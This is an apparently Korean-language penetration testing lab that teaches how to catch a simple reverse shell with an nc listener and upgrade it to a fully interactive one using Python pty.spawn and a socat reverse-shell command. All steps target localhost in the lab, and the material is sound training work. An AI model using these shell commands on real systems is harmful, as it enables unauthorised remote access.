소개
침투 테스트 분야에서 대상 시스템에 대한 접근 권한을 얻는 것은 종종 셸 (shell) 을 획득하는 것을 포함하며, 이는 단순 셸 (simple shell) 또는 인터랙티브 셸 (interactive shell) 일 수 있습니다. 단순 셸은 기능이 제한적이며 인터랙티브 기능이 부족한 반면, 인터랙티브 셸은 더 강력하고 사용자 친화적인 환경을 제공합니다. 이 랩 (lab) 은 단순 셸과 인터랙티브 셸의 차이점을 탐구하고, 단순 셸을 인터랙티브 셸로 업그레이드하는 과정을 안내하는 것을 목표로 합니다.
단순 셸 이해
이 단계에서는 단순 셸의 개념과 그 제한 사항을 살펴보겠습니다. 단순 셸은 일반적으로 원격 명령 실행 취약점 (remote command execution vulnerabilities) 또는 기타 익스플로잇 기술을 통해 획득됩니다. 대상 시스템에서 명령을 실행할 수 있지만, 사후 익스플로잇 단계 (post-exploitation phase) 를 방해할 수 있는 몇 가지 필수 기능이 부족합니다.
먼저, 터미널 창을 열고
/home/labex/project디렉토리로 이동합니다.cd /home/labex/project대상 시스템에서 단순 셸을 획득하는 과정을 시뮬레이션하기 위해,
nc명령을 사용하여 포트5911에서 리스너 (listener) 를 설정해야 합니다.nc -lnvp 5911예상 출력:
labex:project/ $ nc -lnvp 5911 listening on [any] 5911 ...이 터미널 창은 단순 셸 연결을 위한 리스너 역할을 합니다.
다른 터미널 창을 열고/home/labex/project디렉토리로 이동하면 홈 디렉토리에exploit.sh파일이 있는 것을 볼 수 있습니다. 이 파일은 대상 시스템에서 단순 셸을 획득하는 데 사용할 수 있는 원격 명령 실행 익스플로잇을 시뮬레이션합니다.cd /home/labex/projectexploit.sh스크립트를 실행하여 포트5911의 리스너에 연결하고 대상 시스템에서 단순 셸을 획득합니다../exploit.sh예상 출력:
labex:project/ $ ./exploit.sh Simulating attack... Shell has been rebound, please check the terminal which you listen to the port 5911이 스크립트는 포트
5911의 리스너에 연결하여 대상 시스템에서 단순 셸을 제공합니다.리스너를 설정한 터미널 창으로 돌아가면 대상 시스템과의 연결이 설정된 것을 볼 수 있습니다.
예시 출력:
labex:project/ $ nc -lnvp 5911 listening on [any] 5911 ... connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 38696 |whoami및lsb_release -a와 같은 명령을 실행하여 단순 셸을 획득했는지 확인할 수 있습니다. 그러나 단순 셸에는 적절한 명령 프롬프트, 탭 완성 (tab completion),su또는ssh와 같은 인터랙티브 명령을 사용할 수 있는 기능과 같은 특정 기능이 부족하다는 것을 알 수 있습니다.
Python 을 이용한 인터랙티브 셸로 업그레이드
단순 셸을 인터랙티브 셸로 업그레이드하는 한 가지 방법은 Python 의 pty 모듈을 사용하는 것입니다. 이 모듈을 사용하면 의사 터미널 (pseudo-terminal, pts) 을 생성할 수 있습니다.
먼저, 다음 명령을 실행하여 대상 시스템에 Python 이 설치되어 있는지 확인합니다.
which pythonPython 을 사용할 수 있는 경우, 다음 명령을 사용하여 의사 터미널을 생성할 수 있습니다.
python -c 'import pty; pty.spawn("/bin/bash");'이 명령은 의사 터미널 지원을 통해 새로운 인터랙티브 셸을 생성하여
su및ssh와 같은 명령을 문제없이 실행할 수 있도록 합니다.예시 출력:
labex:project/ $ python -c 'import pty; pty.spawn("/bin/bash");' labex@660d6d4be229593d40db954d:~/project$새 셸이 의사 터미널인지 확인하기 위해
tty명령을 실행하고 출력을 파일로 리디렉션할 수 있습니다.tty > /home/labex/project/shell.txtshell.txt파일의 내용을 확인하여 셸이 의사 터미널 (pts) 인지 확인합니다.cat /home/labex/project/shell.txt예시 출력:
labex@660d6d4be229593d40db954d:~/project$ /home/labex/project/shell.txt /dev/pts/5
그러나 Python 의사 터미널은 단순 셸의 몇 가지 제한 사항을 해결하지만, 탭 완성, 기록 탐색 (history navigation), vim 또는 vi와 같은 텍스트 편집기에 대한 적절한 지원과 같은 특정 기능이 여전히 부족합니다.
PS: exit를 입력하거나 Ctrl+D를 눌러 의사 터미널 셸에서 로그아웃할 수 있습니다.
Socat 을 이용한 완전한 인터랙티브 셸로 업그레이드
보다 포괄적인 솔루션을 위해, socat 유틸리티를 사용하여 탭 완성, 기록 탐색 (history navigation), 텍스트 편집기 호환성을 포함한 모든 기능을 지원하는 완전한 인터랙티브 셸을 얻을 수 있습니다.
먼저, 다음 명령을 실행하여 대상 시스템에 socat이 설치되어 있는지 확인합니다.
which socat
socat을 사용할 수 있는 경우, 다음 단계를 따르세요.
새 터미널 창을 열고 다음socat명령을 사용하여 포트5912에서 리스너를 시작합니다.socat file:$(tty),raw,echo=0 tcp-listen:5912연결이 설정될 때까지 기다립니다.
단순 셸에서 다음 명령을 실행하여 리스너에 연결하고 셸을 완전한 인터랙티브 셸로 업그레이드합니다.
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:127.0.0.1:5912리스너를 설정한 터미널 창으로 돌아가면 대상 시스템과의 연결이 설정된 것을 볼 수 있습니다. 이제 일반 터미널 세션에서 기대할 수 있는 모든 기능을 갖춘 완전한 인터랙티브 셸을 갖게 됩니다.
예시 출력:
labex:project/ $ socat file:$(tty),raw,echo=0 tcp-listen:5912 labex@660d5d5ee229593d40db9301:~$
cat, ssh, vim과 같은 명령을 사용하고 위쪽 및 아래쪽 화살표 키를 사용하여 명령 기록을 탐색하여 새 인터랙티브 셸을 테스트합니다.
요약
이 랩에서는 침투 테스트 (penetration testing) 의 맥락에서 단순 셸과 인터랙티브 셸의 개념을 탐구했습니다. 단순 셸의 제한 사항과 효율적인 후 - 익스플로잇 (post-exploitation) 활동을 위해 인터랙티브 셸로 업그레이드하는 것의 중요성에 대해 배웠습니다. 단순 셸을 업그레이드하는 두 가지 방법을 다루었습니다. Python 의 pty 모듈을 사용하여 의사 터미널을 생성하는 방법과, socat 유틸리티를 사용하여 필요한 모든 기능을 갖춘 완전한 인터랙티브 셸을 얻는 방법입니다. 이러한 기술을 연습함으로써, 단순 셸이 제기하는 문제를 극복하고 후 - 익스플로잇 노력을 간소화하여 향후 침투 테스트 참여에 도움이 될 귀중한 기술을 습득했습니다.